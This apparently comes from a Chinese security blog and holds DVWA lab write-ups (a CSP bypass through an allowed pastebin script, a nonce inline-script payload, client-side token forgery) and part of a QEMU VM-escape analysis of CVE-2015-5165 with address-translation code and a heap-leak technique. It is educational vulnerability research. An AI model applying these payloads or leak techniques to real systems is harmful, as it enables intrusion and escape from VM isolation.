<figure class= "highlight php" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "meta" > < ?php</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > $headerCSP = <span class= "string" > "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"</span> ; <span class= "comment" > // allows js from self, pastebin.com, jquery and google analytics.</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > header($headerCSP);</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "comment" > # https://pastebin.com/raw/R570EE00</span> </span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "meta" > ?> </span> </span> <br > <span class= "line" > <span class= "meta" > < ?php</span> </span> <br > <span class= "line" > <span class= "keyword" > if</span> (<span class= "keyword" > isset</span> ($_POST[<span class= "string" > 'include'</span> ])) { </span> <br > <span class= "line" > $page[ <span class= "string" > 'body'</span> ] .= <span class= "string" > "</span> </span> <br > <span class= "line" > <span class= "string" > < script src='"</span> . $_POST[<span class= "string" > 'include'</span> ] . <span class= "string" > "'> < /script> </span> </span> <br > <span class= "line" > <span class= "string" > "</span> ;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > $page[ <span class= "string" > 'body'</span> ] .= <span class= "string" > '</span> </span> <br > <span class= "line" > <span class= "string" > < form name="csp" method="POST"> </span> </span> <br > <span class= "line" > <span class= "string" > < p> You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:< /p> </span> </span> <br > <span class= "line" > <span class= "string" > < input size="50" type="text" name="include" value="" id="include" /> </span> </span> <br > <span class= "line" > <span class= "string" > < input type="submit" value="Include" /> </span> </span> <br > <span class= "line" > <span class= "string" > < /form> </span> </span> <br > <span class= "line" > <span class= "string" > '</span> ;</span> <br > </pre> </td> </tr> </table> </figure>
<p > 会在页面里增加一个body<code > < script src=' " . $_POST[' include' ] . " ' > < /script> </code> <br > 这里在源码中规定了信任的脚本源:<br > <code > script-src ' self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;" ; // allows js from self, pastebin.com, jquery and google analytics.</code> <br > 输入源码中提示的<a href= "https://pastebin.com/raw/R570EE00, 弹窗成功" target= "_blank" rel= "noopener" > https://pastebin.com/raw/R570EE00, 弹窗成功</a> </p>
<h2 id= "medium模式-10" > <a href= "#medium模式-10" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 如果你要使用 script 标签加载 javascript, 你需要指明其 nonce 值<br > <code > $headerCSP = " Content-Security-Policy: script-src ' self' ' unsafe-inline' ' nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=' ;" ;</code> <br > 比如:<br > <code > < script nonce=" TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=" > alert(1)< /script> </code> </p>
<h1 id= "JavaScript-Attacks" > <a href= "#JavaScript-Attacks" class= "headerlink" title= "JavaScript Attacks" > </a> JavaScript Attacks</h1> <h2 id= "easy模式-10" > <a href= "#easy模式-10" class= "headerlink" title= "easy模式" > </a> easy模式</h2> <blockquote >
<p > 本节中的攻击旨在帮助您了解JavaScript在浏览器中的使用方式以及如何操作它。攻击可以通过分析网络流量来进行, 但这不是重点, 也可能要困难得多。<br > 只需提交“成功”一词即可赢得关卡。显然, 它并不那么容易, 每个级别实现不同的保护机制, 页面中包含的JavaScript必须进行分析, 然后进行操作以绕过保护。</p>
</blockquote>
<p > 提示我们Submit the word “success” to win.但是输入success却返回Invalid token.说明token值不对劲, 后台应该是比较输入的字符串与‘ success’ 。<br > 查看源码发现token值是在前台计算的, md5(rot13(phrase))<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > function generate_token() { </span> <br > <span class= "line" > var phrase = document.getElementById(" phrase" ).value;</span> <br > <span class= "line" > document.getElementById(" token" ).value = md5(rot13(phrase));</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > generate_token();</span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 然而, phrase的值等于ChangeMe<br > <code > < input type=" text" name=" phrase" value=" ChangeMe" id=" phrase" > </code> <br > 因此计算出来的token也是不对的, 我们在chrome的控制台直接计算<br > <figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > md5(rot13(" success" ))</span> <br > <span class= "line" > " 38581812b435834ebf84ebcc2c6424d6" </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 把值给隐藏的元素<code > < input type=" hidden" name=" token" value=" 8b479aefbd90795395b3e7089ae0dc09" id=" token" > </code> <br > 然后提交success</p>
<h2 id= "medium模式-11" > <a href= "#medium模式-11" class= "headerlink" title= "medium模式" > </a> medium模式</h2> <p > 生成token的代码在js文件中<br > <figure class= "highlight javascript" > <table > <tr > <td class= "code" > <pre > <span class= "line" > <span class= "function" > <span class= "keyword" > function</span> <span class= "title" > do_something</span> (<span class= "params" > e</span> ) </span> { </span> <br > <span class= "line" > <span class= "keyword" > for</span> (<span class= "keyword" > var</span> t = <span class= "string" > ""</span> , n = e.length - <span class= "number" > 1</span> ; n > = <span class= "number" > 0</span> ; n--) t += e[n];</span> <br > <span class= "line" > <span class= "keyword" > return</span> t</span> <br > <span class= "line" > } </span> <br > <span class= "line" > setTimeout(<span class= "function" > <span class= "keyword" > function</span> (<span class= "params" > </span> ) </span> { </span> <br > <span class= "line" > do_elsesomething(<span class= "string" > "XX"</span> )</span> <br > <span class= "line" > } , <span class= "number" > 300</span> );</span> <br > <span class= "line" > </span> <br > <span class= "line" > <span class= "function" > <span class= "keyword" > function</span> <span class= "title" > do_elsesomething</span> (<span class= "params" > e</span> ) </span> { </span> <br > <span class= "line" > <span class= "built_in" > document</span> .getElementById(<span class= "string" > "token"</span> ).value = do_something(e + <span class= "built_in" > document</span> .getElementById(<span class= "string" > "phrase"</span> ).value + <span class= "string" > "XX"</span> )</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure> </p>
<p > 输入success, 然后控制台运行do_elsesomething(“XX”)就可以拿到token</p>
]]></content>
2019-07-16 09:15:34 +00:00
<categories >
2021-04-10 20:14:09 +00:00
<category > web</category>
2019-07-16 09:15:34 +00:00
</categories>
2021-04-10 20:14:09 +00:00
<tags >
<tag > web</tag>
<tag > ctf</tag>
</tags>
</entry>
<entry >
<title > VM escape-QEMU Case Study</title>
<url > /2021/04/10/vm-escape1/</url>
<content > <![CDATA[<h2 id="1-Intro"> <a href= "#1-Intro" class= "headerlink" title= "1 Intro" > </a> 1 Intro</h2> <p > 如今,虚拟机已大量部署以供个人使用或在企业细分市场中使用。 网络安全供应商使用不同的VM在<em > 受控和受限</em> 的环境中分析恶意软件。 一个自然的问题出现了:<strong > 恶意软件能否从虚拟机中逃脱并在主机上执行代码?</strong> </p>
<p > 2015年, 来自CrowdStrike的Jason Geffner报告了QEMU中的一个严重错误( <a href= "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-3456" target= "_blank" rel= "noopener" > CVE-2015-3456</a> ) , 该错误影响了虚拟软盘驱动器代码, 这可能使攻击者从VM逃脱到主机。 此漏洞在netsec社区中引起了极大的关注, 可能是因为它有一个专用名( <a href= "https://www.crowdstrike.com/blog/venom-vulnerability-details/" target= "_blank" rel= "noopener" > VENOM</a> ),这并不是第一个此类漏洞。</p>
<p > 2011年, <a href= "https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2011/BH_US_11_Elhage_Virtunoid_WP.pdf" target= "_blank" rel= "noopener" > Nelson Elhage</a> 在Blackhat 报告并成功利用了QEMU模拟PCI设备热插拔中的<a href= "https://github.com/nelhage/virtunoid" target= "_blank" rel= "noopener" > 漏洞</a> 。</p>
<p > 2016年, 来自奇虎360的刘旭和王胜平在HITB 2016上展示了对KVM / QEMU的成功利用。 他们利用了两个不同的网卡设备仿真器模型RTL8139和PCNET中存在的两个漏洞( CVE-2015-5165和CVE-2015-7504) 。 在他们的演讲中,他们概述了在主机上执行代码的主要步骤,但没有提供任何利用,也没有提供再现它的技术细节。</p>
<p > 在本文中, 我们提供了对CVE-2015-5165( 一个内存泄漏漏洞) 和CVE-2015-7504( 一个基于堆的溢出漏洞) 的深入分析, 以及可利用的漏洞。 这两个漏洞的结合可让您从VM突围并在目标主机上执行代码。</p>
<p > 我们讨论了技术细节, 以利用QEMU的<strong > 网卡设备仿真</strong> 中的漏洞, 并提供可以重新使用以利用QEMU未来错误的通用技术。 例如,利用共享内存区域和共享代码的交互式绑定外壳。</p>
<h2 id= "2-KVM-QEMU-Overview" > <a href= "#2-KVM-QEMU-Overview" class= "headerlink" title= "2 KVM/QEMU Overview" > </a> 2 KVM/QEMU Overview</h2> <p > KVM( Kernal-based Virtual Machine, 基于内核的虚拟机) 是一个内核模块, 可为用户空间程序提供完整的虚拟化基础架构。 它允许一个人运行多个运行未修改的Linux或Windows映像的虚拟机。</p>
<p > KVM的用户空间组件包含在主线QEMU( 快速仿真器) 中, 该QEMU特别处理设备仿真。</p>
<h3 id= "2-1-Workspace-Environment" > <a href= "#2-1-Workspace-Environment" class= "headerlink" title= "2.1 Workspace Environment" > </a> 2.1 Workspace Environment</h3> <p > 为了使那些想使用本文中给出的示例代码的人更轻松,我们在此处提供了重现我们的开发环境的主要步骤。</p>
<p > 由于我们定位的漏洞已经修复, 因此我们需要签出QEMU存储库的源, 并切换到这些漏洞的修复之前的提交。 然后, 我们仅为目标x86_64配置QEMU并启用调试, 在我们的测试环境中, 我们使用Gcc的4.9.2版构建QEMU: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ git clone git://git.qemu-project.org/qemu.git</span> <br > <span class= "line" > $</span> <br > <span class= "line" > $ git checkout bd80b59</span> <br > <span class= "line" > $ mkdir -p bin/debug/native</span> <br > <span class= "line" > $ cd bin/debug/native</span> <br > <span class= "line" > $ ../../../configure --target-list=x86_64-softmmu --enable-debug --disable-werror</span> <br > <span class= "line" > $ make</span> <br > </pre> </td> </tr> </table> </figure>
<p > 使用qemu-img来生成一个qcow2系统文件</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > **`$`**` ./qemu-img create -f qcow2 ubuntu.qcow2 20G`</span> <br > <span class= "line" > $ sudo chmod 666 /dev/kvm</span> <br > </pre> </td> </tr> </table> </figure>
<p > 之后首先通过qemu-system-x86_64完成对qcow2系统文件中系统的安装, 需要用-cdrom对iso镜像文件进行加载</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > $ ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -hda ./ubuntu.qcow2 -cdrom\</span> <br > <span class= "line" > ' /home/han/VMescape/ubuntu-16.04-server-amd64.iso' </span> <br > </pre> </td> </tr> </table> </figure>
<p > 安装完成后就获得了一个有系统的qcow2文件, 我们分配2GB的内存并创建两个网络接口卡: RTL8139和PCNET, 同时创建tap接口连接虚拟机和主机: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ✗ sudo tunctl -t tap0 -u `whoami`</span> <br > <span class= "line" > ✗ sudo ifconfig tap0 192.168.2.1/24</span> <br > <span class= "line" > $ ./x86_64-softmmu/qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 \</span> <br > <span class= "line" > -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 -netdev user,id=t1, \</span> <br > <span class= "line" > -device pcnet,netdev=t1,id=nic1 -drive \</span> <br > <span class= "line" > file=/home/han/VMescape/qemu/bin/debug/native/ubuntu.qcow2,\</span> <br > <span class= "line" > format=qcow2,if=ide,cache=writeback,\</span> <br > <span class= "line" > -net nic -net tap,ifname=tap0,script=no,downscript=no</span> <br > </pre> </td> </tr> </table> </figure>
<p > 使用vncviewer连接qemu</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > `apt-get install xvnc4viewer`</span> <br > <span class= "line" > vncviewer 127.0.0.1:5989</span> <br > </pre> </td> </tr> </table> </figure>
<h3 id= "2-2-QEMU-Memory-Layout" > <a href= "#2-2-QEMU-Memory-Layout" class= "headerlink" title= "2.2 QEMU Memory Layout" > </a> 2.2 QEMU Memory Layout</h3> <p > 分配给guest虚拟机的物理内存实际上是QEMU虚拟地址空间中mmapp专用的区域。 重要的是要注意, 分配guest的物理内存时未启用PROT_EXEC标志。</p>
<p > 下图说明了来宾的内存和主机的内存如何共存。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > Guest' processes</span> <br > <span class= "line" > +--------------------+</span> <br > <span class= "line" > Virtual addr space | |</span> <br > <span class= "line" > +--------------------+</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > **\__ Page Table \__</span> <br > <span class= "line" > \ \**</span> <br > <span class= "line" > | | Guest kernel</span> <br > <span class= "line" > +----+--------------------+----------------+</span> <br > <span class= "line" > Guest' s phy. memory | | | |</span> <br > <span class= "line" > +----+--------------------+----------------+</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > **\__ \__</span> <br > <span class= "line" > \ \**</span> <br > <span class= "line" > | QEMU process |</span> <br > <span class= "line" > +----+------------------------------------------+</span> <br > <span class= "line" > Virtual addr space | | |</span> <br > <span class= "line" > +----+------------------------------------------+</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > \__ Page Table \__</span> <br > <span class= "line" > \ \</span> <br > <span class= "line" > | |</span> <br > <span class= "line" > +----+-----------------------------------------------++</span> <br > <span class= "line" > Physical memory | | ||</span> <br > <span class= "line" > +----+-----------------------------------------------++</span> <br > </pre> </td> </tr> </table> </figure>
<p > 此外, QEMU为BIOS和ROM保留了一个内存区域。 这些映射在QEMU映射文件中可用: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ✗ cat /proc/36220/maps</span> <br > <span class= "line" > 555aae05c000-555aae931000 r-xp 00000000 08:01 2239549 /usr/bin/qemu-system-x86_64</span> <br > <span class= "line" > 555aaeb30000-555aaecfc000 r--p 008d4000 08:01 2239549 /usr/bin/qemu-system-x86_64</span> <br > <span class= "line" > 555aaecfc000-555aaed7b000 rw-p 00aa0000 08:01 2239549 /usr/bin/qemu-system-x86_64</span> <br > <span class= "line" > 555aaed7b000-555aaf1de000 rw-p 00000000 00:00 0</span> <br > <span class= "line" > 555ab0c1c000-555ab2015000 rw-p 00000000 00:00 0 [heap]</span> <br > <span class= "line" > 7f90b2e2b000-7f90b2e38000 r-xp 00000000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25</span> <br > <span class= "line" > 7f90b2e38000-7f90b3037000 ---p 0000d000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25</span> <br > <span class= "line" > 7f90b3037000-7f90b3038000 r--p 0000c000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25</span> <br > <span class= "line" > 7f90b3038000-7f90b3039000 rw-p 0000d000 08:01 2758598 /usr/lib/x86_64-linux-gnu/sasl2/libdigestmd5.so.2.0.25</span> <br > <span class= "line" > </span> <br > <span class= "line" > .... [other shared libs]</span> <br > <span class= "line" > </span> <br > <span class= "line" > 7f9152f96000-7f9152f99000 rw-s 00000000 00:0e 12527 anon_inode:kvm-vcpu:0</span> <br > <span class= "line" > 7f9152f99000-7f9152f9a000 r--p 00029000 08:01 2374490 /lib/x86_64-linux-gnu/ld-2.27.so</span> <br > <span class= "line" > 7f9152f9a000-7f9152f9b000 rw-p 0002a000 08:01 2374490 /lib/x86_64-linux-gnu/ld-2.27.so</span> <br > <span class= "line" > 7f9152f9b000-7f9152f9c000 rw-p 00000000 00:00 0</span> <br > <span class= "line" > 7ffe2cf63000-7ffe2cf84000 rw-p 00000000 00:00 0 [stack]</span> <br > <span class= "line" > 7ffe2cf8f000-7ffe2cf92000 r--p 00000000 00:00 0 [vvar]</span> <br > <span class= "line" > 7ffe2cf92000-7ffe2cf93000 r-xp 00000000 00:00 0 [vdso]</span> <br > <span class= "line" > ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall]</span> <br > </pre> </td> </tr> </table> </figure>
<p > 有关虚拟化环境中内存管理的更详细说明,请参见:<a href= "http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf" target= "_blank" rel= "noopener" > http://lettieri.iet.unipi.it/virtualization/2014/Vtx.pdf</a> </p>
<h3 id= "2-3-Address-Translation" > <a href= "#2-3-Address-Translation" class= "headerlink" title= "2.3 Address Translation" > </a> 2.3 Address Translation</h3> <p > 在QEMU中存在两个翻译层: Guest Virtual Address → Guest Physical Address → Host Virtual Address</p>
<ul >
<li > 从Guest虚拟地址到Guest物理地址。 在我们的利用中, 我们需要配置需要DMA访问的网卡设备。 例如, 我们需要提供Tx / Rx缓冲区的<strong > 物理地址</strong> 以正确配置网卡设备。</li>
<li > 从Guest物理地址到QEMU的虚拟地址空间。 在我们的攻击中,我们需要注入伪造的结构,并在<strong > QEMU的虚拟地址空间</strong> 中获得其精确地址。</li>
</ul>
<p > 在x64系统上, 虚拟地址由页偏移量( 位0-11) 和页码组成。 在linux系统上, 具有CAP_SYS_ADMIN特权的用户空间进程能够使用页面映射文件( pagemap )找出虚拟地址和物理地址的映射。 页面映射文件为每个虚拟页面存储一个64位值, 其中<code > physical_address = PFN * page_size + offset</code> </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > **- Bits 0-54 : physical frame number if present.**</span> <br > <span class= "line" > - Bit 55 : page table entry is soft-dirty.</span> <br > <span class= "line" > - Bit 56 : page exclusively mapped.</span> <br > <span class= "line" > - Bits 57-60 : zero</span> <br > <span class= "line" > - Bit 61 : page is file-page or shared-anon.</span> <br > <span class= "line" > - Bit 62 : page is swapped.</span> <br > <span class= "line" > - Bit 63 : page is present.</span> <br > </pre> </td> </tr> </table> </figure>
<p > 将<a href= "https://shanetully.com/2014/12/translating-virtual-addresses-to-physcial-addresses-in-user-space/" target= "_blank" rel= "noopener" > 虚拟地址( Guest Virtual Address) 转换为物理地址( Guest Physical Address) </a> 的过程包括</p>
<ol >
<li > <p > 64wei每个页面的大小为 <code > 4096</code> 字节,即 <code > 1 < < 12</code> ; </p>
</li>
<li > <p > 基于 <code > /proc/pid/pagemap</code> 可以查看进程任意 Virtual Page 的状态,包括是否被映射到物理内存以及在物理内存中的 Page Frame Number( PFN) 等; </p>
<ul >
<li > <code > pagemap</code> 文件为每个 Virtual Page 存储 <code > 64</code> 位(即 <code > 8</code> 字节)的信息,数据格式如上。</li>
</ul>
</li>
<li > <p > 对任意的虚拟地址 <code > address</code> ,基于 <code > address/4096</code> 可以计算出该虚拟地址在 <code > pagemap</code> 文件中的索引值, <code > address/4096 * 8</code> 即对应的文件偏移值,在该位置能够获取<strong > PFN</strong> 信息;</p>
</li>
<li > <p > 页内偏移对任意的虚拟地址 <code > address</code> , <code > address%4096</code> 即虚拟地址在对应的内存页中的<strong > 偏移值</strong> ; </p>
</li>
<li > <p > 根据物理内存的 PFN ( <strong > physical frame number</strong> )以及页内偏移,就可以计算出对应的物理地址;</p>
</li>
</ol>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > `physical_address = PFN * page_size + offset</span> <br > <span class= "line" > physcial_addr ``=`` ``(``page_frame_number ``< < `` PAGE_SHIFT``)`` ``+`` distance_from_page_boundary_of_buffer`</span> <br > </pre> </td> </tr> </table> </figure>
<p > 我们依靠Nelson Elhage的<a href= "https://github.com/nelhage/virtunoid/blob/master/virtunoid.c" target= "_blank" rel= "noopener" > 代码</a> 。 下面的程序分配一个缓冲区, 并用字符串“Where am I?”填充它。 并打印其物理地址:</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ---[ mmu.c ]---</span> <br > <span class= "line" > #include < stdio.h> </span> <br > <span class= "line" > #include < string.h> </span> <br > <span class= "line" > #include < stdint.h> </span> <br > <span class= "line" > #include < stdlib.h> </span> <br > <span class= "line" > #include < fcntl.h> </span> <br > <span class= "line" > #include < assert.h> </span> <br > <span class= "line" > #include < inttypes.h> </span> <br > <span class= "line" > </span> <br > <span class= "line" > #define PAGE_SHIFT 12</span> <br > <span class= "line" > #define PAGE_SIZE (1 < < PAGE_SHIFT)</span> <br > <span class= "line" > #define PFN_PRESENT (1ull < < 63)</span> <br > <span class= "line" > #define PFN_PFN ((1ull < < 55) - 1)</span> <br > <span class= "line" > </span> <br > <span class= "line" > int fd;</span> <br > <span class= "line" > </span> <br > <span class= "line" > uint32_t page_offset(uint32_t addr)</span> <br > <span class= "line" > { </span> <br > <span class= "line" > return addr & ((1 < < PAGE_SHIFT) - 1);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > uint64_t gva_to_gfn(void *addr)</span> <br > <span class= "line" > { </span> <br > <span class= "line" > uint64_t pme, gfn;</span> <br > <span class= "line" > size_t offset;</span> <br > <span class= "line" > offset = ((uintptr_t)addr > > 9) & ~7;</span> <br > <span class= "line" > lseek(fd, offset, SEEK_SET);</span> <br > <span class= "line" > read(fd, & pme, 8);</span> <br > <span class= "line" > if (!(pme & PFN_PRESENT))</span> <br > <span class= "line" > return -1;</span> <br > <span class= "line" > # The page frame number is in bits 0-54 so read the first 7 bytes and clear the 55th bit</span> <br > <span class= "line" > gfn = pme & PFN_PFN;</span> <br > <span class= "line" > return gfn;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > uint64_t gva_to_gpa(void *addr)</span> <br > <span class= "line" > { </span> <br > <span class= "line" > uint64_t gfn = gva_to_gfn(addr);</span> <br > <span class= "line" > assert(gfn != -1);</span> <br > <span class= "line" > return (gfn < < PAGE_SHIFT) | page_offset((uint64_t)addr);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > int main()</span> <br > <span class= "line" > { </span> <br > <span class= "line" > uint8_t *ptr;</span> <br > <span class= "line" > uint64_t ptr_mem;</span> <br > <span class= "line" > </span> <br > <span class= "line" > fd = open(" /proc/self/pagemap" , O_RDONLY);</span> <br > <span class= "line" > if (fd < 0) { </span> <br > <span class= "line" > perror(" open" );</span> <br > <span class= "line" > exit(1);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > ptr = malloc(256);</span> <br > <span class= "line" > strcpy(ptr, " Where am I?" );</span> <br > <span class= "line" > printf(" %s\n" , ptr);</span> <br > <span class= "line" > ptr_mem = gva_to_gpa(ptr);</span> <br > <span class= "line" > printf(" Your physical address is at 0x%" PRIx64" \n" , ptr_mem);</span> <br > <span class= "line" > </span> <br > <span class= "line" > getchar();</span> <br > <span class= "line" > return 0;</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
<p > 静态编译好程序之后将其上传到 QEMU 虚拟机中以 <code > root</code> 身份执行,打印出物理地址为 <code > 0x73b17b20</code> <br > <img src= "https://res.cloudinary.com/dozyfkbg3/image/upload/v1618050992/VMescape/image_29.png" a l t > <br > 在主机将gdb附加到QEMU进程, 我们可以看到缓冲区位于为guest虚拟机分配的物理地址空间内。 更准确地说, 输出的guest物理地址地址实际上是与<strong > guest物理内存基址</strong> 的偏移量。</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > ✗ sudo gdb qemu-system-x86_64 38140</span> <br > <span class= "line" > (gdb) info proc mappings</span> <br > <span class= "line" > process 38140</span> <br > <span class= "line" > Mapped address spaces:</span> <br > <span class= "line" > </span> <br > <span class= "line" > Start Addr End Addr Size Offset objfile</span> <br > <span class= "line" > 0x556857048000 0x55685791d000 0x8d5000 0x0 /usr/bin/qemu-system-x86_64</span> <br > <span class= "line" > 0x556857b1c000 0x556857ce8000 0x1cc000 0x8d4000 /usr/bin/qemu-system-x86_64</span> <br > <span class= "line" > 0x556857ce8000 0x556857d67000 0x7f000 0xaa0000 /usr/bin/qemu-system-x86_64</span> <br > <span class= "line" > 0x556857d67000 0x5568581ca000 0x463000 0x0</span> <br > <span class= "line" > 0x556859c27000 0x55685b038000 0x1411000 0x0 [heap]</span> <br > <span class= "line" > ... ... ... ...</span> <br > <span class= "line" > **0x7f72afe00000** **** **0x7f732fe00000** **** **0x80000000** 0x0 [2GB RAM]</span> <br > <span class= "line" > ... ... ... ...</span> <br > <span class= "line" > (gdb) x/s 0x7f72afe00000+0x73b17b20</span> <br > <span class= "line" > 0x7f7323917b20: " Where am I?" </span> <br > </pre> </td> </tr> </table> </figure>
<h2 id= "3-Memory-Leak-Exploitation" > <a href= "#3-Memory-Leak-Exploitation" class= "headerlink" title= "3 Memory Leak Exploitation" > </a> 3 Memory Leak Exploitation</h2> <p > 接下来, 我们将利用CVE-2015-5165( 一个会影响RTL8139网卡设备仿真器的内存泄漏漏洞) 来重建QEMU的内存布局。 更准确地说,我们需要泄漏</p>
<ol >
<li > .text段的基地址, 以构建我们的shellcode</li>
<li > 为Guest分配的物理内存的基地址, 以便能够获得 一些虚拟结构的地址</li>
</ol>
<h3 id= "3-1-The-vulnerable-Code" > <a href= "#3-1-The-vulnerable-Code" class= "headerlink" title= "3.1 The vulnerable Code" > </a> 3.1 The vulnerable Code</h3> <p > REALTEK网卡支持两种 接收/发送 操作模式: C模式和C +模式。 当将网卡设置为使用C +时, 网卡设备仿真器会错误地计算IP数据包数据的长度, 最终发送的数据量会超出数据包中实际可用的数据量。</p>
<p > 该漏洞存在于hw/net/rtl8139.c的 rtl8139_cplus_transmit_one 函数中:</p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > /* ip packet header */</span> <br > <span class= "line" > ip_header *ip = NULL;</span> <br > <span class= "line" > int hlen = 0;</span> <br > <span class= "line" > uint8_t ip_protocol = 0;</span> <br > <span class= "line" > uint16_t ip_data_len = 0;</span> <br > <span class= "line" > </span> <br > <span class= "line" > uint8_t *eth_payload_data = NULL;</span> <br > <span class= "line" > size_t eth_payload_len = 0;</span> <br > <span class= "line" > </span> <br > <span class= "line" > int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12));</span> <br > <span class= "line" > if (proto == ETH_P_IP)</span> <br > <span class= "line" > { </span> <br > <span class= "line" > DPRINTF(" +++ C+ mode has IP packet\n" );</span> <br > <span class= "line" > </span> <br > <span class= "line" > /* not aligned */</span> <br > <span class= "line" > eth_payload_data = saved_buffer + ETH_HLEN;</span> <br > <span class= "line" > eth_payload_len = saved_size - ETH_HLEN;</span> <br > <span class= "line" > </span> <br > <span class= "line" > ip = (ip_header*)eth_payload_data;</span> <br > <span class= "line" > </span> <br > <span class= "line" > if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) { </span> <br > <span class= "line" > DPRINTF(" +++ C+ mode packet has bad IP version %d " </span> <br > <span class= "line" > " expected %d\n" , IP_HEADER_VERSION(ip),</span> <br > <span class= "line" > IP_HEADER_VERSION_4);</span> <br > <span class= "line" > ip = NULL;</span> <br > <span class= "line" > } else { </span> <br > <span class= "line" > hlen = IP_HEADER_LENGTH(ip);</span> <br > <span class= "line" > ip_protocol = ip-> ip_p;</span> <br > <span class= "line" > **ip_data_len** **= be16_to_cpu(ip-> ip_len) - hlen;**</span> <br > <span class= "line" > } </span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
<p > IP头包含两个字段hlen和ip-> ip_len, 分别表示IP头的长度( 考虑到不带选项的数据包, 为20字节) 和包括ip头的数据包的总长度。 如下面给出的代码片段末尾所示, 在计算IP数据长度( ip_data_len) 时, 没有检查以确保 ip→ip_len > = hlen 。 由于ip_data_len字段被编码为unsigned short int, 因此导致发送的数据多于发送缓冲区中实际可用的数据。</p>
<p > 更精确地讲, ip_data_len稍后用于计算TCP数据的长度, 如果该数据超过MTU的大小, 则将其逐块复制到一个malloc缓冲区中: </p>
<figure class= "highlight plain" > <table > <tr > <td class= "code" > <pre > <span class= "line" > int **tcp_data_len** **= ip_data_len - tcp_hlen;**</span> <br > <span class= "line" > int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen;</span> <br > <span class= "line" > </span> <br > <span class= "line" > int is_last_frame = 0;</span> <br > <span class= "line" > </span> <br > <span class= "line" > for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len;</span> <br > <span class= "line" > tcp_send_offset += tcp_chunk_size) { </span> <br > <span class= "line" > uint16_t chunk_size = tcp_chunk_size;</span> <br > <span class= "line" > </span> <br > <span class= "line" > /* check if this is the last frame */</span> <br > <span class= "line" > if (tcp_send_offset + tcp_chunk_size > = tcp_data_len) { </span> <br > <span class= "line" > is_last_frame = 1;</span> <br > <span class= "line" > chunk_size = tcp_data_len - tcp_send_offset;</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > memcpy(data_to_checksum, saved_ip_header + 12, 8);</span> <br > <span class= "line" > </span> <br > <span class= "line" > if (tcp_send_offset) { </span> <br > <span class= "line" > memcpy((uint8_t*)p_tcp_hdr + tcp_hlen,</span> <br > <span class= "line" > (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset,</span> <br > <span class= "line" > chunk_size);</span> <br > <span class= "line" > } </span> <br > <span class= "line" > </span> <br > <span class= "line" > /* more code follows */</span> <br > <span class= "line" > } </span> <br > </pre> </td> </tr> </table> </figure>
<p > 因此, 如果我们伪造了长度损坏的畸形数据包( 例如ip→ip_len = hlen-1) , 则可能会从QEMU的堆内存中泄漏大约64 KB。网卡设备仿真器将通过发送43个分段的数据包结束, 而不是发送单个数据包。</p>
